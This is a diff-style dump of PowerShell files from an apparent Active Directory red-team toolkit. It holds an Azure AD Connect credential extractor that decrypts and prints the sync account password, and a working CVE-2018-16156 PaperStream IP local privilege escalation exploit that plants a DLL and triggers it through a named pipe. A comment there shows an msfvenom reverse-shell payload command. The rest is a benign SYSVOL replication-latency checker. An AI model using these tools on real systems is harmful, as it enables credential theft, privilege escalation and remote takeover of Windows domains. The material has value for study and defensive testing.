7 {Add-ADLabWorkstationToDomain}
|
||||
Default {"Please select right option!!!"}
|
||||
|
||||
}
|
||||
|
||||
}
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,59 @@
|
|||
Function Azure-ADConnect {param($db,$server)
|
||||
$help = @"
|
||||
.SYNOPSIS
|
||||
Azure-ADConnect
|
||||
PowerShell Function: Azure-ADConnect
|
||||
Author: Luis Vacas (CyberVaca)
|
||||
Based on: https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
|
||||
Required dependencies: None
|
||||
Optional dependencies: None
|
||||
.DESCRIPTION
|
||||
|
||||
.EXAMPLE
|
||||
Azure-ADConnect -server 10.10.10.10 -db ADSync
|
||||
|
||||
Description
|
||||
-----------
|
||||
Extract credentials from the Azure AD Connect service.
|
||||
|
||||
"@
|
||||
if ($db -eq $null -or $server -eq $null) {$help} else {
|
||||
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = $server; Database = $db; Initial Catalog=$db;
|
||||
Integrated Security = True;"
|
||||
$client.Open()
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
$reader.Read() | Out-Null
|
||||
$key_id = $reader.GetInt32(0)
|
||||
$instance_id = $reader.GetGuid(1)
|
||||
$entropy = $reader.GetGuid(2)
|
||||
$reader.Close()
|
||||
|
||||
$cmd = $client.CreateCommand()
|
||||
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
|
||||
$reader = $cmd.ExecuteReader()
|
||||
$reader.Read() | Out-Null
|
||||
$config = $reader.GetString(0)
|
||||
$crypted = $reader.GetString(1)
|
||||
$reader.Close()
|
||||
|
||||
add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
|
||||
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
|
||||
$km.LoadKeySet($entropy, $instance_id, $key_id)
|
||||
$key = $null
|
||||
$km.GetActiveCredentialKey([ref]$key)
|
||||
$key2 = $null
|
||||
$km.GetKey(1, [ref]$key2)
|
||||
$decrypted = $null
|
||||
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
|
||||
|
||||
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
|
||||
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
|
||||
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
|
||||
|
||||
"[+] Domain: " + $domain.Domain
|
||||
"[+] Username: " + $username.Username
|
||||
"[+]Password: " + $password.Password
|
||||
}}
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,64 @@
|
|||
# Exploit Title: PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation
|
||||
# Exploit Author: 1F98D
|
||||
# Original Author: securifera
|
||||
# Date: 12 May 2020
|
||||
# Vendor Hompage: https://www.fujitsu.com/global/support/products/computing/peripheral/scanners/fi/software/fi6x30-fi6x40-ps-ip-twain32.html
|
||||
# CVE: CVE-2018-16156
|
||||
# Tested on: Windows 10 x64
|
||||
# References:
|
||||
# https://www.securifera.com/advisories/cve-2018-16156/
|
||||
# https://github.com/securifera/CVE-2018-16156-Exploit
|
||||
|
||||
# A DLL hijack vulnerability exists in the FJTWSVIC service running as part of
|
||||
# the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches
|
||||
# for a writable location, copies the specified DLL to that location and then
|
||||
# triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32
|
||||
# named pipe.
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
# Example payload generated as follows
|
||||
# msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=eth0 LPORT=4444
|
||||
$PayloadFile = "C:\Windows\System32\spool\drivers\color\shell.dll"
|
||||
|
||||
if ((Test-Path $PayloadFile) -eq $false) {
|
||||
Write-Host "$PayloadFile not found, did you forget to upload it?"
|
||||
Exit 1
|
||||
}
|
||||
|
||||
# Find Writable Location
|
||||
$WritableDirectory = $null
|
||||
$Path = (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" -Name "PATH").path
|
||||
$Path -Split ";" | % {
|
||||
try {
|
||||
[IO.File]::OpenWrite("$_\x.txt").close()
|
||||
Remove-Item "$_\x.txt"
|
||||
$WritableDirectory = $_
|
||||
} catch {}
|
||||
}
|
||||
|
||||
if ($WritableDirectory -eq $null) {
|
||||
Write-Host "No writable directories in PATH, FJTWSVIC is not exploitable"
|
||||
Exit 1
|
||||
}
|
||||
|
||||
Write-Host "Writable location found, copying payload to $WritableDirectory"
|
||||
Copy-Item "$PayloadFile" "$WritableDirectory\UninOldIS.dll"
|
||||
|
||||
Write-Host "Payload copied, triggering..."
|
||||
$client = New-Object System.IO.Pipes.NamedPipeClientStream(".", "FjtwMkic_Fjicube_32", [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation)
|
||||
$reader = $null
|
||||
$writer = $null
|
||||
try {
|
||||
$client.Connect()
|
||||
$reader = New-Object System.IO.StreamReader($client)
|
||||
$writer = New-Object System.IO.StreamWriter($client)
|
||||
$writer.AutoFlush = $true
|
||||
$writer.Write("ChangeUninstallString")
|
||||
$reader.ReadLine()
|
||||
} finally {
|
||||
$client.Dispose()
|
||||
}
|
||||
|
||||
Write-Host "Payload triggered"
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,546 @@
|
|||
# Abstract: This PoSH Script Checks The SYSVOL Replication Latency/Convergence
|
||||
# Written By: Jorge de Almeida Pinto [MVP-DS]
|
||||
# Blog: http://jorgequestforknowledge.wordpress.com/
|
||||
#
|
||||
# 2013-03-02: (v0.1): Initial version of the script
|
||||
# 2014-02-01: (v0.2): Updated to also work on W2K3, added STOP option, added few extra columns to output extra info of DCs, better detection of unavailable DCs, and screen adjustment section added
|
||||
# 2014-02-09: (v0.3): Solved a bug with regards to the detection/location of RWDCs and RODCs
|
||||
# 2014-02-11: (v0.4): Added additional logic to determine if a DC is either an RWDC or RODC when it fails using the first logic and changed the layout a little bit
|
||||
#
|
||||
# REQUIRES: PowerShell v2.0 or higher
|
||||
# REQUIRES: At least 2 RWDCs
|
||||
# SUPPORTS: W2K3(R2), W2K8(R2), W2K12(R2) DCs and most likely higher
|
||||
# SUPPORTS: NTFRS or DFS-R Replication for the SYSVOL
|
||||
#
|
||||
# -----> !!! DISCLAIMER/REMARKS !!! <------
|
||||
# * The script is freeware, you are free to distribute it, but always refer to this website (http://jorgequestforknowledge.wordpress.com/) as the location where you got it
|
||||
# * This script is furnished "AS IS". No warranty is expressed or implied!
|
||||
# * Always test first in lab environment to see if it meets your needs!
|
||||
# * Use this script at your own risk!
|
||||
# * I do not warrant this script to be fit for any purpose, use or environment
|
||||
# * I have tried to check everything that needed to be checked, but I do not guarantee the script does not have bugs.
|
||||
# * I do not guarantee the script will not damage or destroy your system(s), environment or whatever.
|
||||
# * I do not accept any liability in any way if you screw up, use the script wrong or in any other way where damage is caused to your environment/systems!
|
||||
# * If you do not accept these terms do not use the script and delete it immediately!
|
||||
# -----> !!! DISCLAIMER/REMARKS !!! <------
|
||||
|
||||
# Clear The Screen
|
||||
Clear-Host
|
||||
|
||||
# Configure The Appropriate Screen And Buffer Size To Make Sure Everything Fits Nicely
|
||||
$uiConfig = (Get-Host).UI.RawUI
|
||||
$uiConfig.WindowTitle = "+++ CHECKING SYSVOL REPLICATION LATENCY/CONVERGENCE +++"
|
||||
$uiConfig.ForegroundColor = "Yellow"
|
||||
$uiConfigBufferSize = $uiConfig.BufferSize
|
||||
$uiConfigBufferSize.Width = 150
|
||||
$uiConfigBufferSize.Height = 9999
|
||||
$uiConfigScreenSizeMax = $uiConfig.MaxPhysicalWindowSize
|
||||
$uiConfigScreenSizeMaxWidth = $uiConfigScreenSizeMax.Width
|
||||
$uiConfigScreenSizeMaxHeight = $uiConfigScreenSizeMax.Height
|
||||
$uiConfigScreenSize = $uiConfig.WindowSize
|
||||
If ($uiConfigScreenSizeMaxWidth -lt 150) {
|
||||
$uiConfigScreenSize.Width = $uiConfigScreenSizeMaxWidth
|
||||
} Else {
|
||||
$uiConfigScreenSize.Width = 150
|
||||
}
|
||||
If ($uiConfigScreenSizeMaxHeight -lt 75) {
|
||||
$uiConfigScreenSize.Height = $uiConfigScreenSizeMaxHeight - 5
|
||||
} Else {
|
||||
$uiConfigScreenSize.Height = 75
|
||||
}
|
||||
$uiConfig.BufferSize = $uiConfigBufferSize
|
||||
$uiConfig.WindowSize = $uiConfigScreenSize
|
||||
|
||||
# Start...
|
||||
Write-Host " *******************************************************" -ForeGroundColor Magenta
|
||||
Write-Host " * *" -ForeGroundColor Magenta
|
||||
Write-Host " * --> Test SYSVOL Replication Latency/Convergence <-- *" -ForeGroundColor Magenta
|
||||
Write-Host " * *" -ForeGroundColor Magenta
|
||||
Write-Host " * Written By: Jorge de Almeida Pinto [MVP-DS] *" -ForeGroundColor Magenta
|
||||
Write-Host " * (http://jorgequestforknowledge.wordpress.com/) *" -ForeGroundColor Magenta
|
||||
Write-Host " * *" -ForeGroundColor Magenta
|
||||
Write-Host " *******************************************************" -ForeGroundColor Magenta
|
||||
|
||||
##########
|
||||
# Some Constants
|
||||
$continue = $true
|
||||
$cleanupTempObject = $true
|
||||
|
||||
##########
|
||||
# The Function To Test The Port Connection
|
||||
Function PortConnectionCheck($fqdnDC,$port,$timeOut) {
|
||||
$tcpPortSocket = $null
|
||||
$portConnect = $null
|
||||
$tcpPortWait = $null
|
||||
$tcpPortSocket = New-Object System.Net.Sockets.TcpClient
|
||||
$portConnect = $tcpPortSocket.BeginConnect($fqdnDC,$port,$null,$null)
|
||||
$tcpPortWait = $portConnect.AsyncWaitHandle.WaitOne($timeOut,$false)
|
||||
If(!$tcpPortWait) {
|
||||
$tcpPortSocket.Close()
|
||||
#Write-Host "Connection Timeout"
|
||||
Return "ERROR"
|
||||
} Else {
|
||||
#$error.Clear()
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
$tcpPortSocket.EndConnect($portConnect) | Out-Null
|
||||
If (!$?) {
|
||||
#Write-Host $error[0]
|
||||
Return "ERROR"
|
||||
} Else {
|
||||
Return "SUCCESS"
|
||||
}
|
||||
$tcpPortSocket.Close()
|
||||
$ErrorActionPreference = "Continue"
|
||||
}
|
||||
}
|
||||
|
||||
##########
|
||||
# Get The FQDN Of The Local AD Domain From The Server This Script Is Executed On
|
||||
$ADDomainToWriteTo = $(Get-WmiObject -Class Win32_ComputerSystem).Domain
|
||||
|
||||
##########
|
||||
# Get List Of Directory Servers In AD Forest
|
||||
$ThisADForest = [DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
|
||||
$configNCDN = $ThisADForest.schema.Name.Substring(("CN=Schema,").Length)
|
||||
$searchRootNTDSdsa = [ADSI]"LDAP://CN=Sites,$configNCDN"
|
||||
$searcherNTDSdsaRW = New-Object System.DirectoryServices.DirectorySearcher($searchRootNTDSdsa)
|
||||
$searcherNTDSdsaRO = New-Object System.DirectoryServices.DirectorySearcher($searchRootNTDSdsa)
|
||||
$searcherNTDSdsaRW.Filter = "(objectCategory=NTDSDSA)"
|
||||
$searcherNTDSdsaRO.Filter = "(objectCategory=NTDSDSARO)"
|
||||
$objNTDSdsaRW = $searcherNTDSdsaRW.FindAll()
|
||||
$objNTDSdsaRO = $searcherNTDSdsaRO.FindAll()
|
||||
$TableOfRWDCsInADForest = @()
|
||||
$objNTDSdsaRW | %{
|
||||
$ntdsDN = $_.Properties.distinguishedname
|
||||
$nbtRWDCName = $ntdsDN[0].Substring(("CN=NTDS Settings,CN=").Length)
|
||||
$nbtRWDCName = $nbtRWDCName.Substring(0,$nbtRWDCName.IndexOf(","))
|
||||
$nbtRWDCSite = $ntdsDN[0].Substring(("CN=NTDS Settings,CN=$nbtRWDCName,CN=Servers,CN=").Length)
|
||||
$nbtRWDCSite = $nbtRWDCSite.Substring(0,$nbtRWDCSite.IndexOf(","))
|
||||
$TableOfRWDCsInADForestObj = "" | Select "DS Name","Site Name"
|
||||
$TableOfRWDCsInADForestObj."DS Name" = $nbtRWDCName
|
||||
$TableOfRWDCsInADForestObj."Site Name" = $nbtRWDCSite
|
||||
$TableOfRWDCsInADForest += $TableOfRWDCsInADForestObj
|
||||
}
|
||||
$TableOfRODCsInADForest = @()
|
||||
$objNTDSdsaRO | %{
|
||||
$ntdsDN = $_.Properties.distinguishedname
|
||||
$nbtRODCName = $ntdsDN[0].Substring(("CN=NTDS Settings,CN=").Length)
|
||||
$nbtRODCName = $nbtRODCName.Substring(0,$nbtRODCName.IndexOf(","))
|
||||
$nbtRODCSite = $ntdsDN[0].Substring(("CN=NTDS Settings,CN=$nbtRODCName,CN=Servers,CN=").Length)
|
||||
$nbtRODCSite = $nbtRODCSite.Substring(0,$nbtRODCSite.IndexOf(","))
|
||||
$TableOfRODCsInADForestObj = "" | Select "DS Name","Site Name"
|
||||
$TableOfRODCsInADForestObj."DS Name" = $nbtRODCName
|
||||
$TableOfRODCsInADForestObj."Site Name" = $nbtRODCSite
|
||||
$TableOfRODCsInADForest += $TableOfRODCsInADForestObj
|
||||
}
|
||||
$TableOfDCsInADForest = $TableOfRWDCsInADForest + $TableOfRODCsInADForest
|
||||
|
||||
##########
|
||||
# Get List Of DCs In AD Domain, Create And Present In A Table
|
||||
$contextADDomainToWriteTo = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$ADDomainToWriteTo)
|
||||
$ListOfDCsInADDomain = [System.DirectoryServices.ActiveDirectory.DomainController]::findall($contextADDomainToWriteTo)
|
||||
$ListOfRWDCsInADDomain = $ListOfDCsInADDomain | ?{$_.InboundConnections -ne $null -and !($_.InboundConnections -match "RODC Connection")}
|
||||
$ListOfRODCsInADDomain = $ListOfDCsInADDomain | ?{$_.InboundConnections -match "RODC Connection"}
|
||||
$TableOfDCsInADDomain = @()
|
||||
Write-Host ""
|
||||
Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan
|
||||
Write-Host "LIST OF DCs IN THE AD DOMAIN '$ADDomainToWriteTo'..." -ForeGroundColor Cyan
|
||||
ForEach ($DC in $ListOfDCsInADDomain) {
|
||||
$TableOfDCsInADDomainObj = "" | Select Name,PDC,"Site Name","DS Type","IP Address","OS Version"
|
||||
$TableOfDCsInADDomainObj.Name = $DC.Name
|
||||
$TableOfDCsInADDomainObj.PDC = "FALSE"
|
||||
If ($DC.Roles -ne $null -And $DC.Roles -Contains "PdcRole") {
|
||||
$TableOfDCsInADDomainObj.PDC = "TRUE"
|
||||
$pdcFQDN = $DC.Name
|
||||
$pdcSite = $DC.SiteName
|
||||
}
|
||||
If ( $DC.SiteName -ne $null -And $DC.SiteName -ne "") {
|
||||
$TableOfDCsInADDomainObj."Site Name" = $DC.SiteName
|
||||
} Else {
|
||||
If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 1) {
|
||||
$TableOfDCsInADDomainObj."Site Name" = ($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))})."Site Name"
|
||||
}
|
||||
If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 0) {
|
||||
$TableOfDCsInADDomainObj."Site Name" = "<Fail>"
|
||||
}
|
||||
If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -gt 1) {
|
||||
$TableOfDCsInADDomainObj."Site Name" = "<Fail>"
|
||||
}
|
||||
}
|
||||
$DStype = $null
|
||||
If ($DStype -eq $null) {
|
||||
ForEach ($RWDC In $ListOfRWDCsInADDomain) {
|
||||
If ($RWDC.Name -like $DC.Name) {
|
||||
$DStype = "Read/Write"
|
||||
BREAK
|
||||
}
|
||||
}
|
||||
}
|
||||
If ($DStype -eq $null) {
|
||||
ForEach ($RODC In $ListOfRODCsInADDomain) {
|
||||
If ($RODC.Name -like $DC.Name) {
|
||||
$DStype = "Read-Only"
|
||||
BREAK
|
||||
}
|
||||
}
|
||||
}
|
||||
If ($DStype -eq $null) {
|
||||
$DStype = "<Unknown>"
|
||||
|
||||
If (($TableOfRWDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 1) {
|
||||
$DStype = "Read/Write"
|
||||
}
|
||||
If (($TableOfRODCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 1) {
|
||||
$DStype = "Read-Only"
|
||||
}
|
||||
}
|
||||
$TableOfDCsInADDomainObj."DS Type" = $DStype
|
||||
If ($DC.IPAddress -ne $null -And $DC.IPAddress -ne "") {
|
||||
$TableOfDCsInADDomainObj."IP Address" = $DC.IPAddress
|
||||
} Else {
|
||||
$TableOfDCsInADDomainObj."IP Address" = "<Fail>"
|
||||
}
|
||||
If ($DC.OSVersion -ne $null -And $DC.OSVersion -ne "") {
|
||||
$TableOfDCsInADDomainObj."OS Version" = $DC.OSVersion
|
||||
} Else {
|
||||
$TableOfDCsInADDomainObj."OS Version" = "<Fail>"
|
||||
}
|
||||
$TableOfDCsInADDomain += $TableOfDCsInADDomainObj
|
||||
}
|
||||
$TableOfDCsInADDomain | FT -AutoSize
|
||||
Write-Host " --> Found [$($ListOfDCsInADDomain.count)] DC(s) In AD Domain..." -ForeGroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
##########
|
||||
# Specify A RWDC From The Selected AD Domain
|
||||
Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan
|
||||
Write-Host "Which RWDC In The AD Domain '$ADDomainToWriteTo' Should Be Used To Create The Object?" -ForeGroundColor Cyan
|
||||
Write-Host ""
|
||||
Write-Host "Available Options Are:" -ForeGroundColor Yellow
|
||||
Write-Host "[*] Specify 'PDC' To Use The DC With The PDC FSMO Role" -ForeGroundColor Yellow
|
||||
Write-Host "[*] Just Press Enter To Locate An RWDC" -ForeGroundColor Yellow
|
||||
Write-Host "[*] Specify The FQDN Of A Specific RWDC" -ForeGroundColor Yellow
|
||||
Write-Host "[*] Specify 'STOP' To End The Script" -ForeGroundColor Yellow
|
||||
Write-Host ""
|
||||
$SourceRWDCInADDomain = Read-Host "Please Choose An Option"
|
||||
|
||||
# If PDC Was Specified Find The RWDC With The PDC FSMO Role And Use That
|
||||
If ($SourceRWDCInADDomain -eq "PDC") {
|
||||
$SourceRWDCInADDomainFQDN = $pdcFQDN
|
||||
$SourceRWDCInADDomainSITE = $pdcSite
|
||||
}
|
||||
|
||||
# If Nothing Was Specified Automatically Locate An RWDC To Use
|
||||
If ($SourceRWDCInADDomain -eq "") {
|
||||
# Locate Just ONE DC (This Could Be An RWDC Or RODC)
|
||||
$SourceRWDCInADDomainObjectONE = [System.DirectoryServices.ActiveDirectory.DomainController]::findone($contextADDomainToWriteTo)
|
||||
|
||||
# Locate All RWDCs In The AD Domain
|
||||
$SourceRWDCInADDomainObjectALL = $ListOfRWDCsInADDomain
|
||||
$UseRWDC = $False
|
||||
|
||||
# Check If The Single DC Found Is An RWDC Or Not By Checking If It Is In The List Of RWDCs
|
||||
ForEach ($RWDC In $SourceRWDCInADDomainObjectALL) {
|
||||
If ($RWDC.Name -like $SourceRWDCInADDomainObjectONE.Name) {
|
||||
$UseRWDC = $True
|
||||
}
|
||||
}
|
||||
|
||||
# If The Single DC Found Is An RWDC, Then Use That One
|
||||
If ($UseRWDC -eq $True) {
|
||||
$SourceRWDCInADDomainFQDN = $SourceRWDCInADDomainObjectONE.Name
|
||||
$SourceRWDCInADDomainSITE = $SourceRWDCInADDomainObjectONE.SiteName
|
||||
}
|
||||
|
||||
# If The Single DC Found Is An RODC, Then Find The RWDC With The PDC FSMO Role And Use That
|
||||
If ($UseRWDC -eq $False) {
|
||||
$SourceRWDCInADDomainFQDN = $pdcFQDN
|
||||
$SourceRWDCInADDomainSITE = $pdcSite
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# If A Specific RWDC Was Specified Then Use That One
|
||||
If ($SourceRWDCInADDomain -ne "" -And $SourceRWDCInADDomain -ne "PDC" -And $SourceRWDCInADDomain -ne "STOP") {
|
||||
$contextRWDCToWriteTo = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("DirectoryServer",$SourceRWDCInADDomain)
|
||||
$SourceRWDCInADDomainObject = [System.DirectoryServices.ActiveDirectory.DomainController]::GetDomainController($contextRWDCToWriteTo)
|
||||
$SourceRWDCInADDomainFQDN = $SourceRWDCInADDomainObject.Name
|
||||
$SourceRWDCInADDomainSITE = $SourceRWDCInADDomainObject.SiteName
|
||||
}
|
||||
|
||||
# If STOP Was Specified Then End The Script
|
||||
If ($SourceRWDCInADDomain -eq "STOP") {
|
||||
Write-Host ""
|
||||
Write-Host "'STOP' Was Specified..." -ForeGroundColor Red
|
||||
Write-Host "Aborting Script..." -ForeGroundColor Red
|
||||
Write-Host ""
|
||||
EXIT
|
||||
}
|
||||
|
||||
# Check If The Selected DC Actually Exists In The AD Domain And Its Is An RWDC And NOT An RODC
|
||||
$RWDCvalidity = $False
|
||||
ForEach ($DC in $ListOfRWDCsInADDomain) {
|
||||
If ($DC.Name -like $SourceRWDCInADDomainFQDN) {
|
||||
$RWDCvalidity = $True
|
||||
}
|
||||
}
|
||||
Write-Host ""
|
||||
Write-Host "Checking Existence And Connectivity Of The Specified RWDC '$SourceRWDCInADDomainFQDN' In The AD Domain '$ADDomainToWriteTo'..." -ForeGroundColor Yellow
|
||||
If ($RWDCvalidity -eq $True) {
|
||||
Write-Host ""
|
||||
Write-Host "The Specified DC '$SourceRWDCInADDomainFQDN' Is An RWDC And It Exists In The AD Domain '$ADDomainToWriteTo'!" -ForeGroundColor Green
|
||||
Write-Host ""
|
||||
Write-Host "Continuing Script..." -ForeGroundColor Green
|
||||
$smbPort = "445"
|
||||
$timeOut = "500"
|
||||
$smbConnectionResult = $null
|
||||
$fqdnDC = $SourceRWDCInADDomainFQDN
|
||||
$smbConnectionResult = PortConnectionCheck $fqdnDC $smbPort $timeOut
|
||||
If ($smbConnectionResult -eq "SUCCESS") {
|
||||
Write-Host ""
|
||||
Write-Host "The Specified RWDC '$SourceRWDCInADDomainFQDN' Is Reachable!" -ForeGroundColor Green
|
||||
Write-Host ""
|
||||
Write-Host "Continuing Script..." -ForeGroundColor Green
|
||||
Write-Host ""
|
||||
}
|
||||
If ($smbConnectionResult -eq "ERROR") {
|
||||
Write-Host ""
|
||||
Write-Host "The Specified RWDC '$SourceRWDCInADDomainFQDN' Is NOT Reachable!" -ForeGroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host "Please Re-Run The Script And Make Sure To Use An RWDC That Is Reachable!" -ForeGroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host "Aborting Script..." -ForeGroundColor Red
|
||||
Write-Host ""
|
||||
Break
|
||||
}
|
||||
}
|
||||
If ($RWDCvalidity -eq $False) {
|
||||
Write-Host ""
|
||||
Write-Host "The Specified DC '$SourceRWDCInADDomainFQDN' Either Does NOT Exist In The AD Domain '$ADDomainToWriteTo' Or Is NOT And RWDC!" -ForeGroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host "Please Re-Run The Script And Provide The FQDN Of An RWDC Within The AD Domain '$ADDomainToWriteTo' That Does Exist" -ForeGroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host "Aborting Script..." -ForeGroundColor Red
|
||||
Write-Host ""
|
||||
Break
|
||||
}
|
||||
|
||||
##########
|
||||
# Determine SYSVOL Replication Mechanism And SYSVOL/NetLogon Location On Sourcing RWDC
|
||||
Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan
|
||||
Write-Host "SYSVOL REPLICATION MECHANISM..." -ForeGroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
# Get The Default Naming Contexr
|
||||
$defaultNamingContext = (([ADSI]"LDAP://$SourceRWDCInADDomainFQDN/rootDSE").defaultNamingContext)
|
||||
|
||||
# Find The Computer Account Of The Sourcing RWDC
|
||||
$Searcher = New-Object DirectoryServices.DirectorySearcher
|
||||
$Searcher.Filter = "(&(objectClass=computer)(dNSHostName=$SourceRWDCInADDomainFQDN))"
|
||||
$Searcher.SearchRoot = "LDAP://" + $SourceRWDCInADDomainFQDN + "/OU=Domain Controllers," + $defaultNamingContext
|
||||
# The following appears NOT to work on W2K3, but it does upper-level OSes
|
||||
# $dcObjectPath = $Searcher.FindAll().Path
|
||||
# The following appears to work on all OSes
|
||||
$dcObjectPath = $Searcher.FindAll() | %{$_.Path}
|
||||
|
||||
# Check If An NTFRS Subscriber Object Exists To Determine If NTFRS Is Being Used Instead Of DFS-R
|
||||
$SearcherNTFRS = New-Object DirectoryServices.DirectorySearcher
|
||||
$SearcherNTFRS.Filter = "(&(objectClass=nTFRSSubscriber)(name=Domain System Volume (SYSVOL share)))"
|
||||
$SearcherNTFRS.SearchRoot = $dcObjectPath
|
||||
$ntfrsSubscriptionObject = $SearcherNTFRS.FindAll()
|
||||
If ($ntfrsSubscriptionObject -ne $null) {
|
||||
Write-Host "SYSVOL Replication Mechanism Being Used...: NTFRS"
|
||||
# Get The Local Root Path For The SYSVOL
|
||||
# The following appears NOT to work on W2K3, but it does upper-level OSes
|
||||
# $sysvolRootPathOnSourcingRWDC = $ntfrsSubscriptionObject.Properties.frsrootpath
|
||||
# The following appears to work on all OSes
|
||||
$sysvolRootPathOnSourcingRWDC = $ntfrsSubscriptionObject | %{$_.Properties.frsrootpath}
|
||||
}
|
||||
|
||||
# Check If An DFS-R Subscriber Object Exists To Determine If DFS-R Is Being Used Instead Of NTFRS
|
||||
$SearcherDFSR = New-Object DirectoryServices.DirectorySearcher
|
||||
$SearcherDFSR.Filter = "(&(objectClass=msDFSR-Subscription)(name=SYSVOL Subscription))"
|
||||
$SearcherDFSR.SearchRoot = $dcObjectPath
|
||||
$dfsrSubscriptionObject = $SearcherDFSR.FindAll()
|
||||
If ($dfsrSubscriptionObject -ne $null) {
|
||||
Write-Host "SYSVOL Replication Mechanism Being Used...: DFS-R" -ForeGroundColor Yellow
|
||||
Write-Host ""
|
||||
# Get The Local Root Path For The SYSVOL
|
||||
# The following appears NOT to work on W2K3, but it does not upper-level OSes. NOT really needed, because W2K3 does not support DFS-R for SYSVOL!
|
||||
# $sysvolRootPathOnSourcingRWDC = $dfsrSubscriptionObject.Properties."msdfsr-rootpath"
|
||||
# The following appears to work on all OSes
|
||||
$sysvolRootPathOnSourcingRWDC = $dfsrSubscriptionObject | %{$_.Properties."msdfsr-rootpath"}
|
||||
}
|
||||
|
||||
# Determine The UNC Of The Folder To Write The Temp File To
|
||||
$scriptsUNCPathOnSourcingRWDC = "\\" + $SourceRWDCInADDomainFQDN + "\" + $($sysvolRootPathOnSourcingRWDC.Replace(":","$")) + "\Scripts"
|
||||
##########
|
||||
# Get List Of DCs In AD Domain To Which The Temp Object Will Replicate, Create And Present In A Table
|
||||
Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan
|
||||
Write-Host "LIST OF DIRECTORY SERVERS THE TEMP OBJECT REPLICATES TO..." -ForeGroundColor Cyan
|
||||
|
||||
# Put The Selected RWDC Already In the Table [A] Of Directory Servers To Which The Temp Object Will Replicate
|
||||
$TableOfDSServersA = @()
|
||||
$TableOfDSServersAObj = "" | Select Name,"Site Name",Reachable
|
||||
$TableOfDSServersAObj.Name = ("$SourceRWDCInADDomainFQDN [SOURCE RWDC]").ToUpper()
|
||||
$TableOfDSServersAObj."Site Name" = $SourceRWDCInADDomainSITE
|
||||
$TableOfDSServersAObj.Reachable = "TRUE"
|
||||
$TableOfDSServersA += $TableOfDSServersAObj
|
||||
|
||||
# Put The Selected RWDC Already In the Table [B] Of Directory Servers Where The Replication Starts
|
||||
$TableOfDSServersB = @()
|
||||
$TableOfDSServersBObj = "" | Select Name,"Site Name",Time
|
||||
$TableOfDSServersBObj.Name = ("$SourceRWDCInADDomainFQDN [SOURCE RWDC]").ToUpper()
|
||||
$TableOfDSServersBObj."Site Name" = $SourceRWDCInADDomainSITE
|
||||
$TableOfDSServersBObj.Time = 0.00
|
||||
$TableOfDSServersB += $TableOfDSServersBObj
|
||||
|
||||
# Add All Other Remaining DCs In The Targeted AD Domain To The List Of Directory Servers [A]
|
||||
ForEach ($DC In $ListOfDCsInADDomain) {
|
||||
If(!($DC.Name -like $SourceRWDCInADDomainFQDN)) {
|
||||
$TableOfDSServersAObj = "" | Select Name,"Site Name",Reachable
|
||||
$TableOfDSServersAObj.Name = $DC.Name
|
||||
If ($DC.SiteName -ne $null -And $DC.SiteName -ne "") {
|
||||
$TableOfDSServersAObj."Site Name" = $DC.SiteName
|
||||
} Else {
|
||||
If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 1) {
|
||||
